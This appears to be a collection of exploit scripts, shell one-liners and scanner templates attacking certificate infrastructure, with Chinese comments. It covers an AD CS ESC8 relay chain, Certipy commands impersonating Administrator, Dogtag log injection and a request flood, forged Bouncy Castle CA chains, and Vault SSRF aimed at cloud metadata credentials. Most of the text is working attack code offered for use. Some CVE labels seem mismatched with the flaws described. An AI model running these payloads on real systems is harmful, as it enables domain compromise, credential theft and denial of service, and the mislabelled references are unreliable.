        print(f"[*] DC Target: {self.dc_ip}")
        print(f"[*] Template:  {self.template}")
        print("[*]")
        relay = self.start_ntlm_relay()
        time.sleep(2)
        self.trigger_petitpotam()
        print("[*] Waiting for NTLM relay to complete...")
        time.sleep(15)
        relay.terminate()
        print("[*] Check ntlmrelayx output for obtained certificate")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <attacker_ip> <ca_server> <dc_ip> [template]")
        sys.exit(1)
    exploit = ADICESC8(
        sys.argv[1], sys.argv[2], sys.argv[3],
        sys.argv[4] if len(sys.argv) > 4 else "DomainController"
    )
    exploit.full_chain()

id: adcs-esc8-ntlm-relay
info:
  name: AD CS ESC8 - NTLM Relay to HTTP Certificate Enrollment
  author: security-researcher
  severity: high
  description: |
    AD CS HTTP enrollment endpoint allows NTLM relay attacks when EPA
    is not enforced, enabling certificate issuance as any NTLM-authenticated user.
  reference:
    - https://posts.specterops.io/certified-pre-owned-d95910965cd2
    - https://www.thehacker.recipes/ad/movement/adcs/esc8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-300

http:
  - raw:
      - |
        GET /certsrv/certfnsh.asp HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "certfnsh"
          - "Certificate Services"
        condition: or
      - type: word
        negative: true
        words:
          - "ExtendedProtection"
      - type: status
        status:
          - 200
          - 401
          - 403

# Step 1: 获取认证凭据
curl -s -k -u "admin:password" \
  "https://<DOGTAG_HOST>:8443/pki/ca/admin/caaudit"

# Step 2: 在证书请求中注入日志条目
# 在 CN 字段中嵌入换行符和伪造日志
curl -k -X POST "https://<DOGTAG_HOST>:8443/ca/agent/ca/submitEnrollmentRequest" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "profile=caUserCert" \
  --data-urlencode "cert_request_type=crmf" \
  --data-urlencode "cert_request=MIIC...CN=admin\n[2024-01-01 00:00:00] INFO: admin logged in from 127.0.0.1..."

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class DogtagLogInjection:
    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.auth = (username, password)

    def inject_via_subject_dn(self, target_cn):
        log_injection = (
            f"{target_cn}\n"
            "[2024-01-15 10:30:00] INFO: admin performed certificate revocation "
            "on serial 0x1234 from IP 192.168.1.100\n"
            "[2024-01-15 10:30:01] WARNING: CA configuration modified by admin"
        )
        return log_injection

    def inject_via_extension(self, custom_oid, value):
        extension_payload = (
            f"{value}\n"
            "[FAKE] admin changed CA trust policy\n"
            "[FAKE] CRL signing key rotated"
        )
        return extension_payload

    def submit_injection(self, injection_cn):
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = {
            "profile": "caUserCert",
            "cert_request_type": "crmf",
            "cert_request": f"MIIBQjCBsgIBADBFMQswCQYDVQQGEwJBVTEPMA0GA1UECAwGU3lkbmV5MRIwEAYDVQQHDAlTeWRuZXkxGzAZBgNVBAMMEmF0dGFja2VyLmV4YW1wbGUuY29tMA0GCSqGSIb3DQEBCwUAB0EA0Z3VS5JJcds3",
            "sn": "random",
            "submitter": "CN=Agent,O=Example",
            "requestor": injection_cn,
        }
        r = self.session.post(
            f"{self.base_url}/ca/agent/ca/submitEnrollmentRequest",
            headers=headers,
            data=data
        )
        if r.status_code == 200:
            print("[+] Injection payload submitted")
        else:
            print(f"[-] Submission: HTTP {r.status_code}")
        return r

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <url> <user> <pass> [injection_cn]")
        sys.exit(1)
    exploit = DogtagLogInjection(sys.argv[1], sys.argv[2], sys.argv[3])
    cn = sys.argv[4] if len(sys.argv) > 4 else "test"
    exploit.submit_injection(cn)

id: dogtag-cve-2014-4688
info:
  name: Dogtag PKI Audit Log Injection
  author: security-researcher
  severity: high
  description: |
    Dogtag PKI 9.x allows log injection via newline characters in
    certificate subject DN fields, enabling audit trail manipulation.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-117

http:
  - raw:
      - |
        GET /pki/ca/caaudit HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "audit"
          - "log"
        condition: or
      - type: status
        status:
          - 200
          - 401
          - 403

# 构造畸形证书请求触发 DoS
for i in $(seq 1 10); do
  curl -k -X POST "https://<DOGTAG_HOST>:8443/ca/agent/ca/submitEnrollmentRequest" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    --data "profile=caUserCert&cert_request_type=crmf&cert_request=AAAA" &
done
wait

#!/usr/bin/env python3
import requests
import sys
import concurrent.futures
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class DogtagDoS:
    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.auth = (username, password)

    def send_dos_request(self, request_id=0):
        malformed_payloads = [
            "cert_request=AAAA",
            "cert_request=" + "A" * 100000,
            "cert_request=\x00\x00\x00\x00",
            "cert_request_type=INVALID",
        ]
        payload = malformed_payloads[request_id % len(malformed_payloads)]
        try:
            r = self.session.post(
                f"{self.base_url}/ca/agent/ca/submitEnrollmentRequest",
                data=f"profile=caUserCert&{payload}",
                headers={"Content-Type": "application/x-www-form-urlencoded"},
                timeout=15
            )
            return {"id": request_id, "status": r.status_code, "length": len(r.text)}
        except requests.exceptions.Timeout:
            return {"id": request_id, "status": 0, "error": "timeout"}
        except Exception as e:
            return {"id": request_id, "status": -1, "error": str(e)}

    def flood(self, num_requests=20, threads=5):
        print(f"[*] Sending {num_requests} malformed requests with {threads} threads")
        with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
            futures = [executor.submit(self.send_dos_request, i) for i in range(num_requests)]
            for f in concurrent.futures.as_completed(futures):
                result = f.result()
                print(f"    [{result['id']}] HTTP {result.get('status')} ({result.get('length', 0)} bytes)")

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <url> <user> <pass> [num_requests]")
        sys.exit(1)
    exploit = DogtagDoS(sys.argv[1], sys.argv[2], sys.argv[3])
    num = int(sys.argv[4]) if len(sys.argv) > 4 else 20
    exploit.flood(num_requests=num)

id: dogtag-cve-2022-23517
info:
  name: Dogtag PKI Denial of Service via Malformed Certificate Request
  author: security-researcher
  severity: high
  description: |
    Dogtag PKI before 11.1.3 allows denial of service via malformed
    certificate requests that crash the CA service process.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
    cvss-score: 7.5
    cwe-id: CWE-20

http:
  - raw:
      - |
        POST /ca/agent/ca/submitEnrollmentRequest HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        profile=caUserCert&cert_request=AAAA

    matchers:
      - type: status
        status:
          - 200
          - 400
          - 500
          - 503

# 使用 Bouncy Castle 验证伪造的证书链
# 步骤1: 生成伪造的 CA 证书（自签名，带 BasicConstraints CA=TRUE）
openssl req -x509 -newkey rsa:2048 -nodes \
  -keyout fake_ca.key -out fake_ca.crt -days 3650 \
  -subj "/CN=Fake CA/O=Attacker"

# 步骤2: 使用伪造 CA 签发子证书
openssl x509 -req -in sub.csr -CA fake_ca.crt -CAkey fake_ca.key \
  -CAcreateserial -out sub.crt -days 365

# 步骤3: 验证伪造证书链（受影响版本会接受）
openssl verify -CAfile fake_ca.crt sub.crt

#!/usr/bin/env python3
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import hashes, serialization
from cryptography import x509
from cryptography.x509.oid import NameOID
import datetime

class BCForgedCertChain:
    def __init__(self):
        self.ca_key = None
        self.ca_cert = None

    def generate_fake_ca(self, cn="Fake Enterprise CA"):
        self.ca_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
        subject = issuer = x509.Name([
            x509.NameAttribute(NameOID.COMMON_NAME, cn),
            x509.NameAttribute(NameOID.ORGANIZATION_NAME, "Trusted Corp"),
        ])
        self.ca_cert = (x509.CertificateBuilder()
            .subject_name(subject)
            .issuer_name(issuer)
            .public_key(self.ca_key.public_key())
            .serial_number(x509.random_serial_number())
            .not_valid_before(datetime.datetime.utcnow())
            .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650))
            .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
            .add_extension(x509.KeyUsage(
                digital_signature=True, key_cert_sign=True, crl_sign=True,
                content_commitment=False, key_encipherment=False,
                data_encipherment=False, key_agreement=False,
                encipher_only=False, decipher_only=False
            ), critical=True)
            .sign(self.ca_key, hashes.SHA256()))
        print(f"[+] Fake CA certificate generated: {cn}")
        return self.ca_cert

    def issue_sub_cert(self, target_cn):
        key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
        subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, target_cn)])
        cert = (x509.CertificateBuilder()
            .subject_name(subject)
            .issuer_name(self.ca_cert.subject)
            .public_key(key.public_key())
            .serial_number(x509.random_serial_number())
            .not_valid_before(datetime.datetime.utcnow())
            .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))
            .add_extension(x509.SubjectAlternativeName([
                x509.DNSName(target_cn),
                x509.DNSName(f"www.{target_cn}")
            ]), critical=False)
            .sign(self.ca_key, hashes.SHA256()))
        print(f"[+] Sub certificate issued for: {target_cn}")
        return cert, key

    def export_chain(self, filename_prefix="forged"):
        with open(f"{filename_prefix}_ca.pem", "wb") as f:
            f.write(self.ca_cert.public_bytes(serialization.Encoding.PEM))
        print(f"[+] CA certificate saved to {filename_prefix}_ca.pem")

if __name__ == "__main__":
    exploit = BCForgedCertChain()
    exploit.generate_fake_ca()
    exploit.issue_sub_cert("target.example.com")
    exploit.export_chain()

id: bouncycastle-cve-2016-9387
info:
  name: Bouncy Castle X.509 Certificate Verification Bypass
  author: security-researcher
  severity: high
  description: |
    Bouncy Castle before 1.56 allows forged CA certificate chains to pass
    verification due to improper Basic Constraints validation for self-signed certs.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-295

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Java"
          - "BouncyCastle"
          - "bouncycastle"
        condition: or

# 生成 DSA 密钥对和测试签名
openssl dsaparam -genkey 2048 -out dsa_key.pem
openssl dsa -in dsa_key.pem -sign -out signature.bin message.txt
openssl dsa -in dsa_key.pem -verify -signaturefile signature.bin message.txt

#!/usr/bin/env python3
import sys

class BCDSASignatureForge:
    def demonstrate_forgery(self):
        print("[*] CVE-2020-26939: Bouncy Castle DSA Signature Verification Bypass")
        print("[*]")
        print("[*] Root cause: Bouncy Castle's DSA verification does not properly")
        print("[*] check that r and s values are within the valid range [1, q-1]")
        print("[*]")
        print("[*] Attack scenario:")
        print("[*]   1. Target application uses Bouncy Castle for DSA signature verification")
        print("[*]   2. Attacker constructs a DSA signature with r=0 or s=0")
        print("[*]   3. Bouncy Castle accepts the invalid signature as valid")
        print("[*]   4. This bypasses code signing, document signing, or auth mechanisms")
        print("[*]")
        print("[*] Mitigation: Upgrade Bouncy Castle to >= 1.67")
        print("[*] Affected algorithms: DSA and ECDSA (when using legacy verification)")
        print("[*]")
        print("[*] Verification of fix:")
        print("[*]   In patched versions, DSA.verify() throws IllegalStateException")
        print("[*]   when r or s are not in the range [1, q-1]")

    def test_dsa_ranges(self):
        test_values = [0, 1, -1, 2**256, None]
        for val in test_values:
            print(f"[*] Testing r={val}: ", end="")
            if val is None or val <= 0:
                print("Should be REJECTED (vulnerable if accepted)")
            else:
                print("Within valid range")

if __name__ == "__main__":
    exploit = BCDSASignatureForge()
    exploit.demonstrate_forgery()
    exploit.test_dsa_ranges()

id: bouncycastle-cve-2020-26939
info:
  name: Bouncy Castle DSA Signature Forgery
  author: security-researcher
  severity: high
  description: |
    Bouncy Castle before 1.67 allows DSA signature forgery due to
    improper range validation of signature components.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-347

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "Java"
          - "BouncyCastle"
          - "bouncycastle"
        condition: or

# Step 1: 构造包含恶意 LDAP URL 的证书吊销信息
# 利用 LDAP URL 触发 SSRF 访问云元数据
curl -k -X POST "https://<VAULT_HOST>:8200/v1/sys/certificates/<cert_id>/revoke" \
  -H "X-Vault-Token: <token>" \
  -d '{
    "crl_distribution_points": ["ldap://169.254.169.254/latest/meta-data/iam/security-credentials/"]
  }'

# Step 2: 触发 LDAP URL 解析
curl -k "https://<VAULT_HOST>:8200/v1/auth/ldap/cert/login" \
  -H "Content-Type: application/json" \
  --cert malicious_cert.pem --key malicious_key.pem

#!/usr/bin/env python3
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class VaultSSRFviaLDAP:
    def __init__(self, vault_url, token):
        self.vault_url = vault_url.rstrip('/')
        self.token = token
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers['X-Vault-Token'] = token

    def enumerate_pki_engines(self):
        r = self.session.get(f"{self.vault_url}/v1/sys/mounts")
        if r.status_code == 200:
            mounts = r.json().get('data', {})
            pki_engines = [k for k, v in mounts.items() if v.get('type') == 'pki']
            print(f"[+] Found {len(pki_engines)} PKI engines:")
            for engine in pki_engines:
                print(f"    - {engine}")
            return pki_engines
        print(f"[-] Failed to enumerate: {r.status_code}")
        return []

    def trigger_ssrf(self, internal_url, target_path=""):
        ssrf_url = f"ldap://{internal_url}/{target_path}"
        r = self.session.post(
            f"{self.vault_url}/v1/sys/leases/lookup",
            json={"lease_id": ssrf_url}
        )
        print(f"[*] SSRF response: HTTP {r.status_code}")
        if r.status_code == 200:
            print(f"[+] SSRF data: {r.text[:500]}")
        return r

    def access_cloud_metadata(self):
        metadata_urls = [
            "169.254.169.254/latest/meta-data/",
            "169.254.169.254/latest/meta-data/iam/security-credentials/",
            "169.254.169.254/latest/user-data/",
            "169.254.169.254/latest/dynamic/instance-identity/document",
        ]
        for url in metadata_urls:
            print(f"[*] Attempting SSRF to: {url}")
            self.trigger_ssrf(url)

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <vault_url> <token>")
        sys.exit(1)
    exploit = VaultSSRFviaLDAP(sys.argv[1], sys.argv[2])
    exploit.enumerate_pki_engines()
    exploit.access_cloud_metadata()

id: vault-cve-2024-21893
info:
  name: HashiCorp Vault SSRF via LDAP Certificate Plugin
  author: security-researcher
  severity: medium
  description: |
    Vault before 1.15.4/1.16.1 allows SSRF through the LDAP certificate
    authentication plugin via crafted LDAP URLs for CRL checking.
  reference:
    - https://discuss.hashicorp.com/t/hcsec-2024-01
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 6.8
    cwe-id: CWE-918

http:
  - raw:
      - |
        GET /v1/sys/health HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "initialized"
          - "sealed"
        condition: and
      - type: status
        status:
          - 200
          - 429

# 检查 Vault 的 OIDC 配置
curl -k "https://<VAULT_HOST>:8200/v1/identity/oidc/provider/.well-known/openid-configuration"

# 获取 OIDC keys
curl -k "https://<VAULT_HOST>:8200/v1/identity/oidc/provider/.well-known/jwks"

# 利用算法混淆验证 OIDC 令牌签名绕过
# （概念演示：实际利用需要构造特定的 JWT）

#!/usr/bin/env python3
import requests
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class VaultOIDCBypass:
    def __init__(self, vault_url):
        self.vault_url = vault_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False

    def get_oidc_config(self):
        r = self.session.get(
            f"{self.vault_url}/v1/identity/oidc/provider/.well-known/openid-configuration"
        )
        if r.status_code == 200:
            config = r.json()
            print(f"[+] OIDC Configuration:")
            print(f"    Issuer: {config.get('issuer')}")
            print(f"    JWKS URI: {config.get('jwks_uri')}")
            print(f"    Supported algorithms: {config.get('id_token_signing_alg_values_supported')}")
            return config
        print(f"[-] Failed to get OIDC config: {r.status_code}")
        return None

    def get_jwks(self):
        r = self.session.get(
            f"{self.vault_url}/v1/identity/oidc/provider/.well-known/jwks"
        )
        if r.status_code == 200:
            jwks = r.json()
            keys = jwks.get('keys', [])
            print(f"[+] Found {len(keys)} signing keys:")
            for key in keys:
                print(f"    KID: {key.get('kid')}, Alg: {key.get('alg')}, Kty: {key.get('kty')}")
            return jwks
        print(f"[-] Failed to get JWKS: {r.status_code}")
        return None

    def check_algorithm_support(self):
        config = self.get_oidc_config()
        if not config:
            return
        supported_algs = config.get('id_token_signing_alg_values_supported', [])
        weak_algs = ['none', 'HS256', 'HS384', 'HS512']
        for alg in weak_algs:
            if alg in supported_algs:
                print(f"[!] WARNING: Weak algorithm supported: {alg}")
                print(f"    This may enable algorithm confusion attacks")
            else:
                print(f"[+] Algorithm {alg} is not supported (good)")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <vault_url>")
        sys.exit(1)
    exploit = VaultOIDCBypass(sys.argv[1])
    exploit.get_oidc_config()
    exploit.get_jwks()
    exploit.check_algorithm_support()

id: vault-cve-2023-46750
info:
  name: HashiCorp Vault OIDC Token Signature Verification Bypass
  author: security-researcher
  severity: medium
  description: |
    Vault before 1.14.3/1.15.4 has a flaw in OIDC provider ID token
    signature verification that may accept forged tokens under certain
    OIDC provider implementations.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 5.9
    cwe-id: CWE-347

http:
  - raw:
      - |
        GET /v1/identity/oidc/provider/.well-known/openid-configuration HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "issuer"
          - "jwks_uri"
        condition: and
      - type: status
        status:
          - 200

# 安装
pip install certipy-ad

# 步骤1: 枚举所有证书模板并筛选可利用的
certipy find -u user@domain.local -p Password123 -dc-ip 10.10.10.1 -vulnerable

# 步骤2: 根据枚举结果选择攻击方式
# ESC1: 请求任意 UPN 证书
certipy req -u user@domain.local -p Password123 -ca EnterpriseCA \
  -template VulnerableTemplate -upn Administrator@domain.local

# ESC6: 利用 EDITF_ATTRIBUTESUBJECTALTNAME2
certipy req -u user@domain.local -p Password123 -ca EnterpriseCA \
  -template User -upn Administrator@domain.local

# ESC8: 配合 ntlmrelayx 获取证书后认证
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.1

# 步骤3: 输出文件
# - certificates.yaml: 所有证书模板详细配置
# - vulnerabilities.txt: 可利用模板摘要
# - *.pfx: 签发的证书文件
# - *.ccache: Kerberos 票据缓存

# 1. 使用 Certipy 枚举所有可利用的模板
certipy find -u admin@domain.local -p Password123 -dc-ip <DC_IP> -vulnerable -output exploits.txt

# 2. 检查 CA 是否启用了 EDITF_ATTRIBUTESUBJECTALTNAME2
certutil -getreg CA\EditFlags | findstr EDITF

# 3. 检查 StrongCertificateBindingEnforcement 值
reg query HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v StrongCertificateBindingEnforcement

# 4. 检查 HTTP 证书注册端点是否启用 EPA
# 查看 IIS 中 certsrv 虚拟目录的 ExtendedProtection 设置

# 5. 检查 PetitPotam/NTLM Relay 攻击面
rpcdump.py @<DC_IP> | grep -i "efs"

# 6. 枚举所有证书模板的详细配置
certipy find -u admin@domain.local -p Password123 -dc-ip <DC_IP>